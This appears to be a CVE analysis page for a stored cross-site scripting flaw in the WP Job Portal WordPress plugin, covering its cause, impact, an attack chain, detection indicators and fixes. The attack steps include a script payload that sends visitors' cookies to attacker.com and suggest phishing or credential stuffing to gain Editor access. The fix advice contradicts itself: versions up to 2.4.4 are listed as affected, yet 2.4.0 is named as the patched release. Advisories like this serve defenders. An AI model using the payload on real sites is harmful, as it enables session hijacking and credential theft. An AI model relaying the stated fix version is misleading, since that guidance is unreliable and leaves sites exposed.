CVE-2025-14467: 
WordPress vulnerability analysis and mitigation

CVE-2025-14467 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Job Portal plugin for WordPress, affecting all versions up to and including 2.4.4. The flaw arises from the plugin explicitly whitelisting the <script> tag in its WPJOBPORTAL_ALLOWED_TAGS configuration combined with insufficient input sanitization when saving job descriptions. It was published on December 12, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 4.4 (Medium) and is limited in scope to multi-site WordPress installations or those with unfiltered_html disabled (Feedly, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin's WPJOBPORTAL_ALLOWED_TAGS constant explicitly permits the <script> tag, meaning that when an Editor-level (or higher) authenticated user saves a job description, malicious JavaScript is stored without adequate sanitization and later rendered to any visitor viewing the affected job listing page. The vulnerable code paths are identifiable in includes/constants.php (line 351), modules/job/model.php (line 1278), and modules/job/tmpl/views/frontend/title.php (line 231) (Wordfence, WordPress Trac).

Successful exploitation allows injected scripts to execute in the browsers of any user who visits a compromised job listing page, enabling session hijacking, credential theft, and other client-side attacks. The scope is changed (S:C), meaning the impact extends beyond the attacker's privilege context to affect site visitors. The vulnerability is constrained to multi-site WordPress installations or those where unfiltered_html is disabled, limiting the overall attack surface but still posing meaningful risk to affected deployments (Feedly).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-14467. The EPSS score is approximately 0.033% (0.000330), indicating a low probability of exploitation in the near term. Exploitation requires authenticated access at the Editor level or above, and the vulnerability only manifests under specific WordPress configurations (multi-site or unfiltered_html disabled), further reducing practical exploitability. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly, Wordfence).

1. Reconnaissance: Identify a WordPress site running WP Job Portal ≤ 2.4.4 in a multi-site configuration or with unfiltered_html disabled, using tools like WPScan or manual inspection of plugin version metadata.
2. Obtain Editor-level credentials: Acquire or compromise an account with Editor-level access or above on the target WordPress installation (e.g., via phishing, credential stuffing, or insider access).
3. Navigate to job creation/editing interface: Log in and access the WP Job Portal job creation or editing form within the WordPress admin panel.
4. Inject malicious payload: In the job description field, insert a <script> tag containing arbitrary JavaScript (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>). Because WPJOBPORTAL_ALLOWED_TAGS whitelists <script>, the payload bypasses sanitization and is stored in the database.
5. Trigger execution: When any site visitor (including administrators) views the affected job listing page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence).

• Logs: WordPress access logs showing POST requests to job creation/editing endpoints (e.g., /wp-admin/admin.php?page=wpjobportal*) from Editor-level accounts containing <script> strings in request bodies.
• Database: Presence of <script> tags or encoded JavaScript payloads within the wp_posts or WP Job Portal job description fields in the WordPress database.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting job listing pages (indicative of data exfiltration via injected scripts).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

Users should update the WP Job Portal plugin to version 2.4.0 or later, where the vulnerability was addressed by removing the explicit <script> tag whitelist from WPJOBPORTAL_ALLOWED_TAGS and improving input sanitization. As a temporary workaround, site administrators can restrict Editor-level access to trusted users only, or enable unfiltered_html restrictions site-wide (noting the vulnerability only affects multi-site or unfiltered_html-disabled configurations). Regularly auditing job description content for unexpected script tags is also advisable (Wordfence).

The vulnerability was discovered and reported by Wordfence, which published the advisory on December 12, 2025. Coverage has been limited to automated vulnerability tracking platforms and security aggregators, with no notable researcher commentary or significant social media discussion identified beyond standard CVE publication channels (Feedly).